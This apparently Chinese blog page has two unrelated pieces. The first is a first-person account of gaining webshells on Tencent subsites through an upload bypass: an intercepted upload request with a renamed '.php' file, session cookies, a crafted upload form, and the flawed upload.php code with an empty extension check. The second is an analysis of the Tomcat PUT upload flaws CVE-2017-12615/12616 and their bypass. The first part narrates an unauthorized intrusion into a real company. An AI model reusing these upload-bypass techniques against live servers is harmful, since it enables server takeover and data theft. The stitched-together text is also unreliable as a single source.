说说腾讯分站被黑的过程

最近腾讯分站被“黑”的消息有蛮人多关注的,某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题!
                 
      大家都想像得到要黑腾讯这类大站找个明显的漏洞(包括注入)是很难的了,就算注入出密码肯定也加密了,解开了都不一定能找到后台拿shell,必境人家也是有相关的安全部门维护着!上传?除了后台哪里还有?我通过google搜,到处转了转看到腾讯某分站搞了个类似在线做动画的服务,当然前提是要登陆了才行,其中有个功能就是上传你的作品!这个地方能用?不限制上传类型?不试怎么知道!直接上php后缀的马不行,它是用js来控制的,只有jpg,bmp,gif后缀才能显视且才会开始上传。还有什么办法没?那就试试抓包再改后缀喽!内容如下:
     
POST /games/412/upload.php HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------Ij5Ij5gL6ae0Ef1cH2ei4ae0GI3GI3
User-Agent: Shockwave Flash
Host: xxx.qq.com
Content-Length: 69591       //注意修改后的字数
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: pgv_info=ssid=s1553263453&SPATHTAG=vip.qq.com/|NONE_REF; actwebinfo=1; qqactwebinfo=1; verifysession=7348bade52bad59bd71f3e368fb90efe261cd975f2632c49f622f5e7c95deb1fb0135e2f626632e0; uin=o0032182106; skey=@FXSiKBprF; qv_swfrfh=**********省略n多无关内容!

------------Ij5Ij5gL6ae0Ef1cH2ei4ae0GI3GI3
Content-Disposition: form-data; name="Filedata"; filename="php.php.jpg" //我们去掉.jpg试试
Content-Type: application/octet-stream
.............................................//省略无关内容

结果成功得到php后缀的shell地址,今天人品真不错,这样的漏洞都让我遇到,但是我有注意到域名和上传的页面并不一样,是yyy.qq.com的,进去后发现原来它跟目录下也有个上传文件upload.php,就拖了些相关文件和目录下来分析分析并写了个本地上传方便一些:

<form name="upload_form" action="http://yyy.qq.com/upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="upfrom" value="flash" />
请选择文件:
<input name="Filedata" type="file" />
<input type="submit" value="go" />
</form>

下面我们来看看yyy.qq.com/upload.php这个文件

............//省略无关代码
$file_id = md5($_FILES["Filedata"]["tmp_name"] + rand()*100000);

$file_ext = get_file_ext($_FILES["Filedata"]["name"],$allow_ext);     //注意

$filename = $upload_dir.'/'.$fileFolder.'/'.$file_id.'.'.$file_ext;
...........//
elseif($upfrom == 'flash'){
        if(!$file_ext){
                header("HTTP/1.1 500 Internal Server Error");
                echo "bbb";
                exit(0);
        }

        if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
                header("HTTP/1.1 500 Internal Server Error");
                echo "qqq";
                exit(0);
        }

        if(!move_uploaded_file($_FILES["Filedata"]["tmp_name"],$filename)){
                header("HTTP/1.1 500 Internal Server Error");
                echo "ccc";
                exit(0);
        }
............//上面代码用了get_file_ext()我接再跟下去看看;

function get_file_ext($filename,$exts = ''){
        if(!$file_ext = strrchr($filename,'.')){
                return false;
        }
        $file_ext = substr(strtolower($file_ext),1);
        if($exts){
                $arr = explode('|',$exts);
                if(!in_array($file_ext,$arr)){
                        return false;
                }
        }
        return $file_ext;
}
可以看到此函数有叛断后缀是否为$exts里所允许的,但我发现代码里并没有定义$exts变量,也就是为空,所以跳过检查了,直接返回上传时的文件后缀!

   后来皇子牛跟我说他发现xxx.qq.com提供的服务里还能上传头像也能通过上面的方法拿shell,地址就是xxx.qq.com/xxx.php,真没想到一时之间还两个分站有问题,我觉得到这里基本可以确定两分站的漏洞原因都是如上所说.
   事后发现上传shell后没过多久就不见了,就怀凝是不是被发现了,跟皇子牛交流下后认为负载的可能性大些.
   费话了这么久主要原因还是我们的运气好,不然分站也不是这么容易就可拿shell的:)

9 月 19 日,腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616)、远程代码执行漏洞(CVE-2017-12615),在某些场景下,攻击者将分别能通过这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码。      云鼎实验室通过对于漏洞描述,搭建漏洞环境,并对其进行复现。此漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 webshell,并控制服务器。 复现 根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。    通过阅读 conf/web.xml 文件,可以发现:   默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控。   配置 readonly 为 false: 启动 Tomcat,利用 PUT 请求创建文件: 提示 404。通过描述中的 Windows 受影响,可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:  访问发现可以正常输出:  分析 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过JspServlet处理请求的:   可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时: 会调用resources.rebind: dirContextFileDirContext: 调用 rebind创建文件: 又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。 Bypass 分析 然而,经过盒测试,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 Linux 和 Windows 服务器,并且 Bypass 了之前的补丁,分析如下。  在进入 bind 函数时,会声明一个 File 变量: 进入 File 后,会对 name 进行 normalize 最后得到的 path 就是没有最后 / 的 path 了: 影响  由于存在去掉最后的 / 的特性,那么这个漏洞自然影响 Linux 以及 Windows 版本。而且经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无不中枪。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。
评论 58
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值